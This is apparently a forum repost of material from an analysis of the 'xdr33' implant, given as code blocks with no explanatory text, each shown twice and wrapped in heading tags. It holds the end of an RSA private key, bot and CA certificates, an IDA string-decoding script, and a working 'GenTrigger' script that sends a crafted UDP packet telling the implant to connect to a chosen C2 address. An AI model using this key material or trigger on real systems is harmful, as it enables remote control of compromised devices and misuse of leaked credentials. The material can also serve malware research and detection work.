[HEADING=2]FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhw42K7UfwRusRWVazvFsGJj[/HEADING]
[HEADING=2]Ge17J9fhTtswHMwtEuSlJvTzHRjorf5TdW/6MqMlp1Ntg5FBHUo4vh3wbZeq3Zet[/HEADING]
[HEADING=2]KV4hoesz+pv140EuL7LKgrgKPCCBI7XXLQxQ8yyL51LlIT9H8rPkopb/EDif2paf[/HEADING]
[HEADING=2]7JbSBwKBgCY8+aO44uuR2dQm0SIUqnb0MigLRs1qcWIfDfHF9K116sGwSK4SD9vD[/HEADING]
[HEADING=2]poCA53ffcrTi+syPiUuBJFZG7VGfWiNJ6GWs48sP5dgyBQaVq5hQofKqQAZAQ0f+[/HEADING]
[HEADING=2]7TxBhBF4n2gc5AhJ3fQAOXZg5rgNqhAln04UAIlgQKO69fAvfzID[/HEADING]
[HEADING=2]-----END RSA PRIVATE KEY-----[/HEADING]
[HEADING=2]
BOT Certificate
Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV[/HEADING]
[HEADING=2]MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l[/HEADING]
[HEADING=2]ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM[/HEADING]
[HEADING=2]Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK[/HEADING]
[HEADING=2]AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh[/HEADING]
[HEADING=2]JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0[/HEADING]
[HEADING=2]alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz[/HEADING]
[HEADING=2]WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv[/HEADING]
[HEADING=2]c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q[/HEADING]
[HEADING=2]1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA[/HEADING]
[HEADING=2]MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz[/HEADING]
[HEADING=2]BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV[/HEADING]
[HEADING=2]BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU[/HEADING]
[HEADING=2]aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2[/HEADING]
[HEADING=2]aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB[/HEADING]
[HEADING=2]MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G[/HEADING]
[HEADING=2]A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B[/HEADING]
[HEADING=2]AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy[/HEADING]
[HEADING=2]qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P[/HEADING]
[HEADING=2]o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c[/HEADING]
[HEADING=2]d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3[/HEADING]
[HEADING=2]ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI[/HEADING]
[HEADING=2]lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]
Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFJTCCBA2gAwIBAgIBAzANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE5NTAwN1oXDTIzMDMxNjE5NTAwN1owgYExCzAJBgNVBAYTAlJV[/HEADING]
[HEADING=2]MR0wGwYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGA1UEAwwLRW5naW5l[/HEADING]
[HEADING=2]ZXJpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcM[/HEADING]
[HEADING=2]Bk1vc2NvdzELMAkGA1UECwwCSVQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK[/HEADING]
[HEADING=2]AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+Fj+xOd0Rw7m9CYgw0lzWYh[/HEADING]
[HEADING=2]JlM0/N11dKuPSH0Yl7SLHQIhkgPdsfJkcuKpv97DKUWapI5WS+Ib8l6jXtQCqGw0[/HEADING]
[HEADING=2]alW7+XwUzeoIckTvP7AGod3BUhky328tou2LYrIlX6PUXUZOTxfaNwjgOedUokTz[/HEADING]
[HEADING=2]WtJp/NpfYkFzonqGi8Uww/0gZvYvBFAxk21mpK6zokyiWGQ7R22/FcrJObWTv0cv[/HEADING]
[HEADING=2]c+Vl2Aq3ockWi6TCRY0Pw01NtwFcNZYN0njaD/UjRnu0yR0oWB+NS633QtcpFG4Q[/HEADING]
[HEADING=2]1xStuLvkvo/YVHA+eq9W/7c3bkxlAgMBAAGjggFXMIIBUzAMBgNVHRMBAf8EAjAA[/HEADING]
[HEADING=2]MB0GA1UdDgQWBBRc0LAOwW4C6azovupkjX8R3V+NpjCB+wYDVR0jBIHzMIHwgBTz[/HEADING]
[HEADING=2]BcGhW/F2gdgt/v0oYQtatP2x5aGB1KSB0TCBzjELMAkGA1UEBhMCWkExFTATBgNV[/HEADING]
[HEADING=2]BAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYDVQQKDBRU[/HEADING]
[HEADING=2]aGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlvbiBTZXJ2[/HEADING]
[HEADING=2]aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2VydmVyIENB[/HEADING]
[HEADING=2]MSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29tggEAMA4G[/HEADING]
[HEADING=2]A1UdDwEB/wQEAwIF4DAWBgNVHSUBAf8EDDAKBggrBgEFBQcDAjANBgkqhkiG9w0B[/HEADING]
[HEADING=2]AQsFAAOCAQEAGUPMGTtzrQetSs+w12qgyHETYp8EKKk+yh4AJSC5A4UCKbJLrsUy[/HEADING]
[HEADING=2]qend0E3plARHozy4ruII0XBh5z3MqMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P[/HEADING]
[HEADING=2]o6MUSYs5CFxhhp/N0cqmqGgZL5V5evI7P8NpPcFhs7u1ryGDcK1MTtSSPNPy3F+c[/HEADING]
[HEADING=2]d707iRXiRcLQmXQTcjmOVKrohA/kqqtdM5EUl75n9OLTinZcb/CQ9At+5Sn91AI3[/HEADING]
[HEADING=2]ngd22cyLLC3O4F14L+hqwMd0ENSjanX38iZ2EY8hMpmNYwPOVSQZ1FpXqrkW1ArI[/HEADING]
[HEADING=2]lHEtKB3YMeSXQHAsvBQD0AlW7R7JqHdreg==[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]
CA Certificate
Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB[/HEADING]
[HEADING=2]MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG[/HEADING]
[HEADING=2]A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp[/HEADING]
[HEADING=2]b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl[/HEADING]
[HEADING=2]cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv[/HEADING]
[HEADING=2]bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr[/HEADING]
[HEADING=2]3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg[/HEADING]
[HEADING=2]3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d[/HEADING]
[HEADING=2]hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV[/HEADING]
[HEADING=2]AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf[/HEADING]
[HEADING=2]tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC[/HEADING]
[HEADING=2]JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb[/HEADING]
[HEADING=2]8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0[/HEADING]
[HEADING=2]/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl[/HEADING]
[HEADING=2]MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n[/HEADING]
[HEADING=2]IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw[/HEADING]
[HEADING=2]HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW[/HEADING]
[HEADING=2]GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G[/HEADING]
[HEADING=2]CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF[/HEADING]
[HEADING=2]tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6[/HEADING]
[HEADING=2]u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw[/HEADING]
[HEADING=2]LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//[/HEADING]
[HEADING=2]kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm[/HEADING]
[HEADING=2]yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]
Код:
[/HEADING]
[HEADING=2]-----BEGIN CERTIFICATE-----[/HEADING]
[HEADING=2]MIIFXTCCBEWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBzjELMAkGA1UEBhMCWkEx[/HEADING]
[HEADING=2]FTATBgNVBAgMDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBwwJQ2FwZSBUb3duMR0wGwYD[/HEADING]
[HEADING=2]VQQKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UECwwfQ2VydGlmaWNhdGlv[/HEADING]
[HEADING=2]biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAwwYVGhhd3RlIFByZW1pdW0gU2Vy[/HEADING]
[HEADING=2]dmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNlcnZlckB0aGF3dGUuY29t[/HEADING]
[HEADING=2]MB4XDTIyMTAwNzE0MTEzOFoXDTQ3MTAwMTE0MTEzOFowgc4xCzAJBgNVBAYTAlpB[/HEADING]
[HEADING=2]MRUwEwYDVQQIDAxXZXN0ZXJuIENhcGUxEjAQBgNVBAcMCUNhcGUgVG93bjEdMBsG[/HEADING]
[HEADING=2]A1UECgwUVGhhd3RlIENvbnN1bHRpbmcgY2MxKDAmBgNVBAsMH0NlcnRpZmljYXRp[/HEADING]
[HEADING=2]b24gU2VydmljZXMgRGl2aXNpb24xITAfBgNVBAMMGFRoYXd0ZSBQcmVtaXVtIFNl[/HEADING]
[HEADING=2]cnZlciBDQTEoMCYGCSqGSIb3DQEJARYZcHJlbWl1bS1zZXJ2ZXJAdGhhd3RlLmNv[/HEADING]
[HEADING=2]bTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMfHJIl4/Xdo896Rlyqr[/HEADING]
[HEADING=2]3VcKnLAAqIJkpgl90Z6bxUDpwa41H3ZDa7As4ZO9xa+lXGn9XB9u34TqJPkyhSKg[/HEADING]
[HEADING=2]3wYK02KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8qEiDV2pTe447rmyaLyWcT5d[/HEADING]
[HEADING=2]hbzkPl0WuDmEWMhfC2R9z4+mlsbwMAy9PN/JYzxz7cR48qj4j9hhEwkJ1+yJKXBV[/HEADING]
[HEADING=2]AV9CdgLYfJXrA7A4Hxgc0ECKJmpovskv/DlxM8RxOsHfVtyG4ZgqmRraxUelirlf[/HEADING]
[HEADING=2]tLj0fIkLaP7xvo1QSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6qvhzhyNpZjANiiC[/HEADING]
[HEADING=2]JzMCAwEAAaOCAUIwggE+MA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPMFwaFb[/HEADING]
[HEADING=2]8XaB2C3+/ShhC1q0/bHlMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1q0[/HEADING]
[HEADING=2]/bHloYHUpIHRMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECAwMV2VzdGVybiBDYXBl[/HEADING]
[HEADING=2]MRIwEAYDVQQHDAlDYXBlIFRvd24xHTAbBgNVBAoMFFRoYXd0ZSBDb25zdWx0aW5n[/HEADING]
[HEADING=2]IGNjMSgwJgYDVQQLDB9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEw[/HEADING]
[HEADING=2]HwYDVQQDDBhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEW[/HEADING]
[HEADING=2]GXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb22CAQAwDgYDVR0PAQH/BAQDAgGGMA0G[/HEADING]
[HEADING=2]CSqGSIb3DQEBCwUAA4IBAQDBqNA1WFp15AM8l7oDgqa/YHvoGmfcs48Ak8YtrDEF[/HEADING]
[HEADING=2]tLRyz1+hr/hhfR8Hm1hZ0oj1vAzayhCGKdQTk42mq90dG4tViNYMq4mFKmOoVnw6[/HEADING]
[HEADING=2]u4C8BCPfxmuyNFdw9TVqTjdwWqWM84VMg3Cq3ZrEa94DMOAXm3QXcDsar7SQn5Xw[/HEADING]
[HEADING=2]LCsU7xKJc6gwk4eNWEGxFJwS0EwPhBkt1lH4OD11jH0Ukr5rRJvh1blUiOHPd3//[/HEADING]
[HEADING=2]kzeXNozA9PwoH4wewqk8bXZhj5ZA9LR7rm+5OrCoWXofgn1Gi2yd+LWWCrE7NBWm[/HEADING]
[HEADING=2]yRelxOSPRSQ1fvAVvuRrCnCJgKxG/2Ba2DLs95u6IxYX[/HEADING]
[HEADING=2]-----END CERTIFICATE-----[/HEADING]
[HEADING=2]
0x1 Decode_RES
Код:
[/HEADING]
[HEADING=2]import idautils[/HEADING]
[HEADING=2]import ida_bytes[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def decode(addr,len):[/HEADING]
[HEADING=2] tmp=bytearray()[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] buf=ida_bytes.get_bytes(addr,len)[/HEADING]
[HEADING=2] for i in buf:[/HEADING]
[HEADING=2] tmp.append(~i&0xff)[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] print("%x, %s" %(addr,bytes(tmp)))[/HEADING]
[HEADING=2] ida_bytes.put_bytes(addr,bytes(tmp))[/HEADING]
[HEADING=2] idc.create_strlit(addr,addr+len)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2]calllist=idautils.CodeRefsTo(0x0804F1D8,1)[/HEADING]
[HEADING=2]for addr in calllist:[/HEADING]
[HEADING=2] prev1Head=idc.prev_head(addr)[/HEADING]
[HEADING=2] if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:[/HEADING]
[HEADING=2] bufaddr=idc.get_operand_value(prev1Head,0)[/HEADING]
[HEADING=2] prev2Head=idc.prev_head(prev1Head)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:[/HEADING]
[HEADING=2] leng=idc.get_operand_value(prev2Head,0)[/HEADING]
[HEADING=2] decode(bufaddr,leng)[/HEADING]
[HEADING=2]
Код:
[/HEADING]
[HEADING=2]import idautils[/HEADING]
[HEADING=2]import ida_bytes[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def decode(addr,len):[/HEADING]
[HEADING=2] tmp=bytearray()[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] buf=ida_bytes.get_bytes(addr,len)[/HEADING]
[HEADING=2] for i in buf:[/HEADING]
[HEADING=2] tmp.append(~i&0xff)[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] print("%x, %s" %(addr,bytes(tmp)))[/HEADING]
[HEADING=2] ida_bytes.put_bytes(addr,bytes(tmp))[/HEADING]
[HEADING=2] idc.create_strlit(addr,addr+len)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2]calllist=idautils.CodeRefsTo(0x0804F1D8,1)[/HEADING]
[HEADING=2]for addr in calllist:[/HEADING]
[HEADING=2] prev1Head=idc.prev_head(addr)[/HEADING]
[HEADING=2] if 'push offset' in idc.generate_disasm_line(prev1Head,1) and idc.get_operand_type(prev1Head,0)==5:[/HEADING]
[HEADING=2] bufaddr=idc.get_operand_value(prev1Head,0)[/HEADING]
[HEADING=2] prev2Head=idc.prev_head(prev1Head)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] if 'push' in idc.generate_disasm_line(prev2Head,1) and idc.get_operand_type(prev2Head,0)==5:[/HEADING]
[HEADING=2] leng=idc.get_operand_value(prev2Head,0)[/HEADING]
[HEADING=2] decode(bufaddr,leng)[/HEADING]
[HEADING=2]
0x02 GenTrigger
Код:
[/HEADING]
[HEADING=2]import random[/HEADING]
[HEADING=2]import socket[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def crc16(data: bytearray, offset, length):[/HEADING]
[HEADING=2] if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):[/HEADING]
[HEADING=2] return 0[/HEADING]
[HEADING=2] crc = 0xFFFF[/HEADING]
[HEADING=2] for i in range(0, length):[/HEADING]
[HEADING=2] crc ^= data[offset + i] << 8[/HEADING]
[HEADING=2] for j in range(0, 8):[/HEADING]
[HEADING=2] if (crc & 0x8000) > 0:[/HEADING]
[HEADING=2] crc = (crc << 1) ^ 0x1021[/HEADING]
[HEADING=2] else:[/HEADING]
[HEADING=2] crc = crc << 1[/HEADING]
[HEADING=2] return crc & 0xFFFF[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def Gen_payload(ip:str,port:int):[/HEADING]
[HEADING=2] out=bytearray()[/HEADING]
[HEADING=2] part1=random.randbytes(92)[/HEADING]
[HEADING=2] sum=crc16(part1,8,84)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] offset1=sum % 0xc8[/HEADING]
[HEADING=2] offset2=sum % 0x37[/HEADING]
[HEADING=2] padding1=random.randbytes(offset1)[/HEADING]
[HEADING=2] padding2=random.randbytes(8)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] host=socket.inet_aton(ip)[/HEADING]
[HEADING=2] C2=bytearray(b'\x01')[/HEADING]
[HEADING=2] C2+=host[/HEADING]
[HEADING=2] C2+=int.to_bytes(port,2,byteorder="big")[/HEADING]
[HEADING=2] key=b'NetlabPatched,Enjoy!'[/HEADING]
[HEADING=2] C2 = C2+key +b'\x00\x00'[/HEADING]
[HEADING=2] c2sum=crc16(C2,0,29)[/HEADING]
[HEADING=2] C2=C2[:-2][/HEADING]
[HEADING=2] C2+=(int.to_bytes(c2sum,2,byteorder="big"))[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] flag=0x7f*10[/HEADING]
[HEADING=2] out+=part1[/HEADING]
[HEADING=2] out+=padding1[/HEADING]
[HEADING=2] out+=(int.to_bytes(sum,2,byteorder="big"))[/HEADING]
[HEADING=2] out+=(int.to_bytes(flag,2,byteorder="big"))[/HEADING]
[HEADING=2] out+=padding2[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] tmp=bytearray()[/HEADING]
[HEADING=2] for i in range(29):[/HEADING]
[HEADING=2] tmp.append(C2[i] ^ out[offset2+8+i])[/HEADING]
[HEADING=2] out+=tmp[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] leng=472-len(out)[/HEADING]
[HEADING=2] lengpadding=random.randbytes(random.randint(0,leng+1))[/HEADING]
[HEADING=2] out+=lengpadding[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] return out[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2]payload=Gen_payload('192.168.159.128',6666)[/HEADING]
[HEADING=2]sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)[/HEADING]
[HEADING=2]sock.sendto(payload,("192.168.159.133",2345)) #
Код:
[/HEADING]
[HEADING=2]import random[/HEADING]
[HEADING=2]import socket[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def crc16(data: bytearray, offset, length):[/HEADING]
[HEADING=2] if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):[/HEADING]
[HEADING=2] return 0[/HEADING]
[HEADING=2] crc = 0xFFFF[/HEADING]
[HEADING=2] for i in range(0, length):[/HEADING]
[HEADING=2] crc ^= data[offset + i] << 8[/HEADING]
[HEADING=2] for j in range(0, 8):[/HEADING]
[HEADING=2] if (crc & 0x8000) > 0:[/HEADING]
[HEADING=2] crc = (crc << 1) ^ 0x1021[/HEADING]
[HEADING=2] else:[/HEADING]
[HEADING=2] crc = crc << 1[/HEADING]
[HEADING=2] return crc & 0xFFFF[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2]def Gen_payload(ip:str,port:int):[/HEADING]
[HEADING=2] out=bytearray()[/HEADING]
[HEADING=2] part1=random.randbytes(92)[/HEADING]
[HEADING=2] sum=crc16(part1,8,84)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] offset1=sum % 0xc8[/HEADING]
[HEADING=2] offset2=sum % 0x37[/HEADING]
[HEADING=2] padding1=random.randbytes(offset1)[/HEADING]
[HEADING=2] padding2=random.randbytes(8)[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2] host=socket.inet_aton(ip)[/HEADING]
[HEADING=2] C2=bytearray(b'\x01')[/HEADING]
[HEADING=2] C2+=host[/HEADING]
[HEADING=2] C2+=int.to_bytes(port,2,byteorder="big")[/HEADING]
[HEADING=2] key=b'NetlabPatched,Enjoy!'[/HEADING]
[HEADING=2] C2 = C2+key +b'\x00\x00'[/HEADING]
[HEADING=2] c2sum=crc16(C2,0,29)[/HEADING]
[HEADING=2] C2=C2[:-2][/HEADING]
[HEADING=2] C2+=(int.to_bytes(c2sum,2,byteorder="big"))[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] flag=0x7f*10[/HEADING]
[HEADING=2] out+=part1[/HEADING]
[HEADING=2] out+=padding1[/HEADING]
[HEADING=2] out+=(int.to_bytes(sum,2,byteorder="big"))[/HEADING]
[HEADING=2] out+=(int.to_bytes(flag,2,byteorder="big"))[/HEADING]
[HEADING=2] out+=padding2[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] tmp=bytearray()[/HEADING]
[HEADING=2] for i in range(29):[/HEADING]
[HEADING=2] tmp.append(C2[i] ^ out[offset2+8+i])[/HEADING]
[HEADING=2] out+=tmp[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] leng=472-len(out)[/HEADING]
[HEADING=2] lengpadding=random.randbytes(random.randint(0,leng+1))[/HEADING]
[HEADING=2] out+=lengpadding[/HEADING]
[HEADING=2][/HEADING]
[HEADING=2] return out[/HEADING]
[HEADING=2] [/HEADING]
[HEADING=2]payload=Gen_payload('192.168.159.128',6666)[/HEADING]
[HEADING=2]sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)[/HEADING]
[HEADING=2]sock.sendto(payload,("192.168.159.133",2345)) #